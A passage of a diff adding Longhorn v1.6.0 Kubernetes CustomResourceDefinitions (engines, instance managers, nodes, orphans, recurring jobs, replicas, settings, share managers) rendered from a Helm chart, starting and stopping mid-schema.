type: object + nullable: true + type: array + controllerAPIMinVersion: + type: integer + controllerAPIVersion: + type: integer + dataFormatMinVersion: + type: integer + dataFormatVersion: + type: integer + gitCommit: + type: string + incompatible: + type: boolean + noRefSince: + type: string + nodeDeploymentMap: + additionalProperties: + type: boolean + nullable: true + type: object + ownerID: + type: string + refCount: + type: integer + state: + type: string + version: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: engines.longhorn.io +spec: + group: longhorn.io + names: + kind: Engine + listKind: EngineList + plural: engines + shortNames: + - lhe + singular: engine + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the engine + jsonPath: .status.currentState + name: State + type: string + - description: The node that the engine is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The instance manager of the engine + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the engine + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Engine is where Longhorn stores engine object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the engine + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The current state of the engine + jsonPath: .status.currentState + name: State + type: string + - description: The node that the engine is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The instance manager of the engine + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the engine + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Engine is where Longhorn stores engine object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: EngineSpec defines the desired state of the Longhorn engine + properties: + active: + type: boolean + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + backupVolume: + type: string + dataEngine: + enum: + - v1 + - v2 + type: string + desireState: + type: string + disableFrontend: + type: boolean + engineImage: + description: 'Deprecated: Replaced by field `image`.' + type: string + frontend: + enum: + - blockdev + - iscsi + - nvmf + - "" + type: string + image: + type: string + logRequested: + type: boolean + nodeID: + type: string + replicaAddressMap: + additionalProperties: + type: string + type: object + requestedBackupRestore: + type: string + requestedDataSource: + type: string + revisionCounterDisabled: + type: boolean + salvageRequested: + type: boolean + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + unmapMarkSnapChainRemovedEnabled: + type: boolean + upgradedReplicaAddressMap: + additionalProperties: + type: string + type: object + volumeName: + type: string + volumeSize: + format: int64 + type: string + type: object + status: + description: EngineStatus defines the observed state of the Longhorn engine + properties: + backupStatus: + additionalProperties: + properties: + backupURL: + type: string + error: + type: string + progress: + type: integer + replicaAddress: + type: string + snapshotName: + type: string + state: + type: string + type: object + nullable: true + type: object + cloneStatus: + additionalProperties: + properties: + error: + type: string + fromReplicaAddress: + type: string + isCloning: + type: boolean + progress: + type: integer + snapshotName: + type: string + state: + type: string + type: object + nullable: true + type: object + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + currentImage: + type: string + currentReplicaAddressMap: + additionalProperties: + type: string + nullable: true + type: object + currentSize: + format: int64 + type: string + currentState: + type: string + endpoint: + type: string + instanceManagerName: + type: string + ip: + type: string + isExpanding: + type: boolean + lastExpansionError: + type: string + lastExpansionFailedAt: + type: string + lastRestoredBackup: + type: string + logFetched: + type: boolean + ownerID: + type: string + port: + type: integer + purgeStatus: + additionalProperties: + properties: + error: + type: string + isPurging: + type: boolean + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + rebuildStatus: + additionalProperties: + properties: + error: + type: string + fromReplicaAddress: + type: string + isRebuilding: + type: boolean + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + replicaModeMap: + additionalProperties: + type: string + nullable: true + type: object + restoreStatus: + additionalProperties: + properties: + backupURL: + type: string + currentRestoringBackup: + type: string + error: + type: string + filename: + type: string + isRestoring: + type: boolean + lastRestored: + type: string + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + salvageExecuted: + type: boolean + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + snapshots: + additionalProperties: + properties: + children: + additionalProperties: + type: boolean + nullable: true + type: object + created: + type: string + labels: + additionalProperties: + type: string + nullable: true + type: object + name: + type: string + parent: + type: string + removed: + type: boolean + size: + type: string + usercreated: + type: boolean + type: object + nullable: true + type: object + snapshotsError: + type: string + started: + type: boolean + storageIP: + type: string + unmapMarkSnapChainRemovedEnabled: + type: boolean + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: instancemanagers.longhorn.io +spec: + group: longhorn.io + names: + kind: InstanceManager + listKind: InstanceManagerList + plural: instancemanagers + shortNames: + - lhim + singular: instancemanager + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the instance manager + jsonPath: .status.currentState + name: State + type: string + - description: The type of the instance manager (engine or replica) + jsonPath: .spec.type + name: Type + type: string + - description: The node that the instance manager is running on + jsonPath: .spec.nodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: InstanceManager is where Longhorn stores instance manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the instance manager + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The state of the instance manager + jsonPath: .status.currentState + name: State + type: string + - description: The type of the instance manager (engine or replica) + jsonPath: .spec.type + name: Type + type: string + - description: The node that the instance manager is running on + jsonPath: .spec.nodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: InstanceManager is where Longhorn stores instance manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: InstanceManagerSpec defines the desired state of the Longhorn instance manager + properties: + dataEngine: + type: string + image: + type: string + nodeID: + type: string + type: + enum: + - aio + - engine + - replica + type: string + type: object + status: + description: InstanceManagerStatus defines the observed state of the Longhorn instance manager + properties: + apiMinVersion: + type: integer + apiVersion: + type: integer + proxyApiMinVersion: + type: integer + proxyApiVersion: + type: integer + currentState: + type: string + instanceEngines: + additionalProperties: + properties: + spec: + properties: + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + dataEngine: + type: string + name: + type: string + type: object + status: + properties: + conditions: + additionalProperties: + type: boolean + type: object + endpoint: + type: string + errorMsg: + type: string + listen: + type: string + portEnd: + format: int32 + type: integer + portStart: + format: int32 + type: integer + resourceVersion: + format: int64 + type: integer + state: + type: string + type: + type: string + type: object + type: object + nullable: true + type: object + instanceReplicas: + additionalProperties: + properties: + spec: + properties: + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + dataEngine: + type: string + name: + type: string + type: object + status: + properties: + conditions: + additionalProperties: + type: boolean + type: object + endpoint: + type: string + errorMsg: + type: string + listen: + type: string + portEnd: + format: int32 + type: integer + portStart: + format: int32 + type: integer + resourceVersion: + format: int64 + type: integer + state: + type: string + type: + type: string + type: object + type: object + nullable: true + type: object + instances: + additionalProperties: + properties: + spec: + properties: + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + dataEngine: + type: string + name: + type: string + type: object + status: + properties: + conditions: + additionalProperties: + type: boolean + type: object + endpoint: + type: string + errorMsg: + type: string + listen: + type: string + portEnd: + format: int32 + type: integer + portStart: + format: int32 + type: integer + resourceVersion: + format: int64 + type: integer + state: + type: string + type: + type: string + type: object + type: object + nullable: true + description: 'Deprecated: Replaced by InstanceEngines and InstanceReplicas' + type: object + ip: + type: string + ownerID: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: nodes.longhorn.io +spec: + preserveUnknownFields: false + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: Node + listKind: NodeList + plural: nodes + shortNames: + - lhn + singular: node + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: Indicate whether the node is ready + jsonPath: .status.conditions['Ready']['status'] + name: Ready + type: string + - description: Indicate whether the user disabled/enabled replica scheduling for the node + jsonPath: .spec.allowScheduling + name: AllowScheduling + type: boolean + - description: Indicate whether Longhorn can schedule replicas on the node + jsonPath: .status.conditions['Schedulable']['status'] + name: Schedulable + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Node is where Longhorn stores Longhorn node object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: Indicate whether the node is ready + jsonPath: .status.conditions[?(@.type=='Ready')].status + name: Ready + type: string + - description: Indicate whether the user disabled/enabled replica scheduling for the node + jsonPath: .spec.allowScheduling + name: AllowScheduling + type: boolean + - description: Indicate whether Longhorn can schedule replicas on the node + jsonPath: .status.conditions[?(@.type=='Schedulable')].status + name: Schedulable + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Node is where Longhorn stores Longhorn node object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: NodeSpec defines the desired state of the Longhorn node + properties: + allowScheduling: + description: Allow scheduling replicas on the node. + type: boolean + disks: + additionalProperties: + properties: + allowScheduling: + type: boolean + diskType: + enum: + - filesystem + - block + type: string + evictionRequested: + type: boolean + path: + type: string + storageReserved: + format: int64 + type: integer + tags: + items: + type: string + type: array + type: object + type: object + evictionRequested: + type: boolean + instanceManagerCPURequest: + type: integer + name: + type: string + tags: + items: + type: string + type: array + type: object + status: + description: NodeStatus defines the observed state of the Longhorn node + properties: + autoEvicting: + type: boolean + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + diskStatus: + additionalProperties: + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + diskType: + type: string + diskUUID: + type: string + filesystemType: + type: string + scheduledReplica: + additionalProperties: + format: int64 + type: integer + nullable: true + type: object + storageAvailable: + format: int64 + type: integer + storageMaximum: + format: int64 + type: integer + storageScheduled: + format: int64 + type: integer + type: object + description: The status of the disks on the node. + nullable: true + type: object + region: + description: The Region of the node. + type: string + snapshotCheckStatus: + description: The status of the snapshot integrity check. + properties: + lastPeriodicCheckedAt: + format: date-time + type: string + type: object + zone: + description: The Zone of the node. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: orphans.longhorn.io +spec: + group: longhorn.io + names: + kind: Orphan + listKind: OrphanList + plural: orphans + shortNames: + - lho + singular: orphan + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The type of the orphan + jsonPath: .spec.orphanType + name: Type + type: string + - description: The node that the orphan is on + jsonPath: .spec.nodeID + name: Node + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: Orphan is where Longhorn stores orphan object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: OrphanSpec defines the desired state of the Longhorn orphaned data + properties: + nodeID: + description: The node ID on which the controller is responsible to reconcile this orphan CR. + type: string + orphanType: + description: The type of the orphaned data. Can be "replica". + type: string + parameters: + additionalProperties: + type: string + description: The parameters of the orphaned data + type: object + type: object + status: + description: OrphanStatus defines the observed state of the Longhorn orphaned data + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + ownerID: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + longhorn-manager: "" + name: recurringjobs.longhorn.io +spec: + group: longhorn.io + names: + kind: RecurringJob + listKind: RecurringJobList + plural: recurringjobs + shortNames: + - lhrj + singular: recurringjob + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: Sets groupings to the jobs. When set to "default" group will be added to the volume label when no other job label exist in volume + jsonPath: .spec.groups + name: Groups + type: string + - description: Should be one of "backup" or "snapshot" + jsonPath: .spec.task + name: Task + type: string + - description: The cron expression represents recurring job scheduling + jsonPath: .spec.cron + name: Cron + type: string + - description: The number of snapshots/backups to keep for the volume + jsonPath: .spec.retain + name: Retain + type: integer + - description: The concurrent job to run by each cron job + jsonPath: .spec.concurrency + name: Concurrency + type: integer + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + - description: Specify the labels + jsonPath: .spec.labels + name: Labels + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: RecurringJob is where Longhorn stores recurring job object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: Sets groupings to the jobs. When set to "default" group will be added to the volume label when no other job label exist in volume + jsonPath: .spec.groups + name: Groups + type: string + - description: Should be one of "snapshot", "snapshot-force-create", "snapshot-cleanup", "snapshot-delete", "backup", "backup-force-create" or "filesystem-trim" + jsonPath: .spec.task + name: Task + type: string + - description: The cron expression represents recurring job scheduling + jsonPath: .spec.cron + name: Cron + type: string + - description: The number of snapshots/backups to keep for the volume + jsonPath: .spec.retain + name: Retain + type: integer + - description: The concurrent job to run by each cron job + jsonPath: .spec.concurrency + name: Concurrency + type: integer + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + - description: Specify the labels + jsonPath: .spec.labels + name: Labels + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: RecurringJob is where Longhorn stores recurring job object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: RecurringJobSpec defines the desired state of the Longhorn recurring job + properties: + concurrency: + description: The concurrency of taking the snapshot/backup. + type: integer + cron: + description: The cron setting. + type: string + groups: + description: The recurring job group. + items: + type: string + type: array + labels: + additionalProperties: + type: string + description: The label of the snapshot/backup. + type: object + name: + description: The recurring job name. + type: string + retain: + description: The retain count of the snapshot/backup. + type: integer + task: + description: The recurring job task. Can be "snapshot", "snapshot-force-create", "snapshot-cleanup", "snapshot-delete", "backup", "backup-force-create" or "filesystem-trim" + enum: + - snapshot + - snapshot-force-create + - snapshot-cleanup + - snapshot-delete + - backup + - backup-force-create + - filesystem-trim + type: string + type: object + status: + description: RecurringJobStatus defines the observed state of the Longhorn recurring job + properties: + ownerID: + description: The owner ID which is responsible to reconcile this recurring job CR. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: replicas.longhorn.io +spec: + group: longhorn.io + names: + kind: Replica + listKind: ReplicaList + plural: replicas + shortNames: + - lhr + singular: replica + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the replica + jsonPath: .status.currentState + name: State + type: string + - description: The node that the replica is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk that the replica is on + jsonPath: .spec.diskID + name: Disk + type: string + - description: The instance manager of the replica + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the replica + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Replica is where Longhorn stores replica object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the replica + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The current state of the replica + jsonPath: .status.currentState + name: State + type: string + - description: The node that the replica is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk that the replica is on + jsonPath: .spec.diskID + name: Disk + type: string + - description: The instance manager of the replica + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the replica + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Replica is where Longhorn stores replica object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: ReplicaSpec defines the desired state of the Longhorn replica + properties: + active: + type: boolean + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + backingImage: + type: string + dataDirectoryName: + type: string + dataEngine: + enum: + - v1 + - v2 + type: string + desireState: + type: string + diskID: + type: string + diskPath: + type: string + engineImage: + description: 'Deprecated: Replaced by field `image`.' + type: string + engineName: + type: string + evictionRequested: + type: boolean + failedAt: + type: string + hardNodeAffinity: + type: string + healthyAt: + type: string + image: + type: string + logRequested: + type: boolean + nodeID: + type: string + rebuildRetryCount: + type: integer + revisionCounterDisabled: + type: boolean + salvageRequested: + type: boolean + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + unmapMarkDiskChainRemovedEnabled: + type: boolean + volumeName: + type: string + volumeSize: + format: int64 + type: string + type: object + status: + description: ReplicaStatus defines the observed state of the Longhorn replica + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + currentImage: + type: string + currentState: + type: string + evictionRequested: + description: 'Deprecated: Replaced by field `spec.evictionRequested`.' + type: boolean + instanceManagerName: + type: string + ip: + type: string + logFetched: + type: boolean + ownerID: + type: string + port: + type: integer + salvageExecuted: + type: boolean + started: + type: boolean + storageIP: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: settings.longhorn.io +spec: + group: longhorn.io + names: + kind: Setting + listKind: SettingList + plural: settings + shortNames: + - lhs + singular: setting + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The value of the setting + jsonPath: .value + name: Value + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Setting is where Longhorn stores setting object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + value: + type: string + required: + - value + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The value of the setting + jsonPath: .value + name: Value + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Setting is where Longhorn stores setting object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + value: + description: The value of the setting. + type: string + required: + - value + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: sharemanagers.longhorn.io +spec: + group: longhorn.io + names: + kind: ShareManager + listKind: ShareManagerList + plural: sharemanagers + shortNames: + - lhsm + singular: sharemanager + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the share manager + jsonPath: .status.state + name: State + type: string + - description: The node that the share manager is owned by + jsonPath: .status.ownerID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: ShareManager is where Longhorn stores share manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - 